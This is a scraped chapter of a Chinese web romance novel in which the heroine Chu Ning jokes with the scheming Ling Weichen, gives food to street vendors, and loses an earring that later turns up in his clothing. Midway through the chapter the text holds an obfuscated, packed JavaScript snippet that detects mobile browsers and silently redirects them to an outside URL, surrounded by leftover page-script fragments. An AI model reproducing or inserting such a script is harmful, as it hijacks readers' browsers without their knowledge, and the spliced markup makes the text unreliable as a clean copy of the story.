10. 第 10 章
作品:《禁忌文阴湿反派求我攻略他》 此刻,雅间门口这方不大的小天地里,三人面上的表情却是一个赛一个的精彩。
戴小帽的小厮听到楚宁的问话后,第一时间就吓掉了筷子,端着碗的另一只手也僵硬了。小厮眼睛瞪得牛一般大,正目光不错的盯在少女面庞,似是满眼的不敢置信。
而斜对着的凌二公子,面色倒是坦然的很,男子略微上抬的唇角勾出一抹昳丽之色,被穿窗而入的日头映的春光明媚,但细看却犹如深山艳鬼。
只不过,凌微尘只含笑看人,眉目平和,倒是没说什么多余的话。
所以,三人里表情最丰富的,其实还是楚宁。
少女一见人出来,便懊恼捶了下额头:该死,该得的消息没套到,反而还当众社死了一把。
随即,放下手来的楚宁变脸似的看向身侧男子,古灵精怪的眸子一眨,甜美笑道:“咳,凌二公子不是再跟我阿兄下棋,怎么出门来了?”
她心脏扑通跳,也不太敢肯定凌微尘到底听见没有,所以打算先试探一把。
男子闻言,笑意不减,可张口却是一句灵魂拷问:“本想唤小二来再点些酒菜,只是不巧,刚走过来,在下就听到楚二姑娘再同我家当归说话……在下冒昧,楚二姑娘刚刚说的可是……喜欢?”
“当、当当当归?!”
楚宁乍然得知小厮的名字,嘴瓢重复道。
她本意只是觉得奇怪,许正一莽夫,家中仆从的名字取的倒是风雅,参照中草药或是其他珍奇异草来取名字的世家不在少数,但这事出现在许家,就有点诡异了。
可凌微尘仿若不懂她惊叹之处,而是就着回答长长的“哦”出一声,遂点点头道:“原来楚二姑娘是喜欢我们家当归啊。”
“咳、咳咳咳!!”
楚宁和小厮当归同时被呛到了。
少女咳的小脸通红,撑桌而起,本想朝凌微尘翻白眼,最后心思一转,倒古怪笑道:“凌二公子误会了,不是我喜欢你们家当归,而是你们家当归喜欢你,爱戴你呀~”
当归又被呛到了。
而男子听罢只是浅瞥当归一眼,再看向楚宁时,面上的笑意微微放大,这次却是笑而不语了。
不过楚宁虽说占了上风,但还是不怎么甘心。
说不上为什么,好像每次遇到凌微尘,她都有一种被逼视,被即将侵入的荒谬感。
仿佛对方是披着一张美人皮的毒蛇,他表面上对你关怀备至,细致入微。
而实则,你的一切灾难其实都是他造成的。
楚宁撩撩耳畔碎发,既不甘心,那就要化为实际行动。
她大步走到凌微尘身旁,错身时忽然停住,少女踮着脚尖小手轻搭男子肩侧,声音微小说道:“所以,要对你家小当归好一点哟。”
说完,蹭开男子,欲迈步往门里去。
大概是动作太急,忽视了这雅间门槛的高度,楚宁才一迈脚就踢到上面,随后身体一歪,脑袋瓜就猝不及防扎到了凌微尘的身上。
“哎哟!”
她慌忙把着对方站稳,然后落荒而逃。
直到进门之后,楚宁才站稳脚跟深深呼吸了几口。
她刚才敢那么开当归和凌微尘的玩笑,也是因知晓凌微尘待下和善。
这事从上回她生辰宴时便了解过,许家带来的仆从个个都对二公子拍手称赞,所以她就算戏言一句,凌微尘也不会为难当归。
再者说,喜欢的意思有很多种,当归很敬仰崇拜凌微尘,大家也都是看得出来的。
楚宁的心思跟天气一样变来变去,刚刚还给人家贴了个“毒蛇”的标签,这会儿想到仆从们对他的夸赞……
少女微摇了摇头,可能是她想太多了。
凌二公子其人,还是不错的。
一顿饭罢,楚晏要回大理寺,凌微尘也要回茶楼。
至于楚晏和凌微尘的棋局,不过是一个用来压制许正的借口,更不会当真下上几天几夜。
未免再发生什么不好的事,楚晏派了个人护送楚宁回府。
不过她刚刚还没在街上逛够,所以还是想按照原计划徒步回去。
想到刚刚阿生为了帮花娘受伤,楚宁在酒楼打包了两份饭菜,途中又买上些伤药,然后就提着一堆东西,去了二人的摊位处。
只是一过来,她就看到阿生的果子摊已经收了,空着的摊位旁,花娘的豆腐倒是还没卖完。
妇人见她走来,笑着和她打招呼:“楚二姑娘,方才可真是多谢您和凌二公子了。”做生意的人惯会察言观色,见楚宁一个劲往空摊瞧,便又笑道:“楚二姑娘是来找小生子的吗?”
楚宁忙点了点头:“他回去了吗?午后可还来?”
她怕手中的饭菜冷了,便急着问道。
“他腿上擦破了点皮,这里条件有限,便提早收摊回家去了。”
花娘说着,不由叹了口气:“那孩子一向胆子很小,以前跟在他阿兄身边像个小猫崽一样,我哪次见到,他都是低着头,少言寡语,一副小心翼翼扯着阿水衣袖的样子,似乎很是依赖他哥哥。”
“这回遇上周魁一那个恶霸,还要他为我出头……唉,也真难为他了。”
有人过来买豆腐,花娘给对方捡了一块,将铜板收到钱匣后,顿了顿,不好意思道:“抱歉抱歉,是我话太多了。”
花娘知她是大家小姐,大概是不喜听这套碎碎念的。
楚宁却笑着上前,将打包的饭菜递上一份,“没关系的,刚刚那事忙了半晌,您还没吃过午膳吧?这份您吃吧,要有个好身体才能赚更多的钱嘛。”
花娘听后微怔,但还是伸手接了过去:“谢谢了,楚二姑娘。”
“叫我阿宁就行。”
楚宁见案板上的豆腐白白嫩嫩,心中还惦记着麻婆豆腐,正准备拿钱买上几块,花娘就看出了她的意图。
于是,花娘将饭菜搁到一旁,主动帮她捡了四块,并推掉对方递来的银钱:“不要钱不要钱,你都给我送饭菜了,礼尚往来,我必须要送你几块豆腐的。”
见花娘也是个爽快人,楚宁便没再坚持。
护送楚宁的侍卫还得回大理寺办差,看天色也不早了,便在旁温声提醒道:“二姑娘,不如咱们先回府里?不然,二爷要担心了。”
在大理寺,楚晏的侍卫都习惯喊他“二爷”。
楚宁默默点了下脑袋瓜,低头看了眼给阿生买的饭菜,表情有些纠结。
花娘见状,主动说道:“我知道他们家在哪儿,这几块豆腐卖完我也要收摊,不如等下我给他们送去吧?若你信得过我。”
楚宁欣喜:“信得过,自然信得过!只是您家在何处,和阿生家可顺路?”
“顺路顺路,日日都要路过那处,就是顺手的事。”
花娘笑的温婉。
楚宁把饭菜和伤药递上,又一口气买完剩下的豆腐给了侍卫,嘱咐侍卫回去分给大伙后,才放心回了家。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040996|162527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
一日游玩,夜晚疲累。
玉翠和玉梨帮她卸掉钗环沐浴更衣,只是卸到耳珰时,却发现那玉雕的茉莉花耳珰少了一只。
楚宁自然不记得自己是何时丢的耳珰,而且这种小玩意也没办法寻,便也没那么在意。
少女披散着长发刚下去水中,玉梨就蹙着鼻子笨拙的嗅了嗅:“咦,姑娘最近换了新的熏香吗?怎地和从前的味道不一样了?”
楚宁闻言眼皮微跳,迅速敷衍过去,声称要自己洗澡,就把两个丫头都支去了门外。
二人走后,她悄默默缩到水中,让热度停留在还带点婴儿肥的下巴处,小口呼了一下,心中那点波动才缓缓平复。
她天生体香特殊,和原主不同。
而且只要是自己穿过的衣衫,戴过的饰品,或是长久去碰触某一样物品后,那种余香便会留在其上,经久不散。
还以为这个问题会随着穿书而消失,没成想竟带了过来。
楚宁温吞的“嗯”出一声,偷偷嘀咕:“穿书果然不科学啊。”
-
有了下棋的借口,凌微尘索性在茶楼待满一个下午才回去许府。
他进门就看到许正在堂下饮茶,二人距离尚远,若在以往,他一定会维持着“乖顺听话好摆弄”的人设,走上前去,好好的给许正行个大礼。
只是今日——
男子眼底沉黑翻涌,不耐的神情里透着三分隐忍。
待许正人模狗样的品过茶,欲将演练数遍的斥责脱口而出时,凌微尘已经一个闪身回了自己的院子。
许正难得露出些茫然的神情,微张的口动了动,随即便觉有些没脸的“哼”了声,低声辱骂:“狗东西,越发的没有规矩!”
今日茶楼的二层只有他一人,临渊和羡鱼被派出去做事,凌微尘本想趁此好好歇息一番。
被清洗过的琉璃短刀散发着浓郁的药香,但他总觉得,屋中还有另一种奇怪的香味徘徊不散。
他好像在哪处闻到过……
但细想又记不得了。
而更令他不悦的,是这味道黏人至极,不知怎么,竟是一路从茶楼跟到了家里。
直到他预备沐浴休息时才发现,原是衣襟内藏了一只小小的耳珰,明透的茉莉花雕刻的栩栩如生,仿若真花一般正散发着卓然的香气。
只是这味道比茉莉更清新,具体,倒是辨不出是何种花香。
谁的东西?
什么时候跑到他衣衫里的?
凌微尘今日疲惫的很,懒得深想,便随手将那耳珰丢在桌上。
洗漱过后,男子上了床榻沉沉睡去。
这一觉似是睡得尤为深沉,连早起下人们进出忙碌的响动,都难以将其吵醒。
无人知晓,凌二公子并非贪睡不愿醒来,而是无法醒来。
因为那梦中,还有另外一个人的存在。
猛地一下,似被梦魇困住的男子忽而坐起,强行冲破梦境的后果令他周身冷汗岑岑,男子披散的墨发之下,一张病态般白皙的面容雌雄莫辨。
凌微尘眼尾仍挂着余红,仿佛是被谁狠狠欺辱了一通。
不经意间,有温热的液体自被褥中窸窣传开,似一双炙热的手,只随意逗.弄两下,就轻而易举的扼住了他的命脉。
男子幽幽攥紧薄被,神情中闪过几许愠怒。
略略出神半晌,凌微尘倏然回转神思,而后,便瞥向了桌上那枚秀气的耳珰。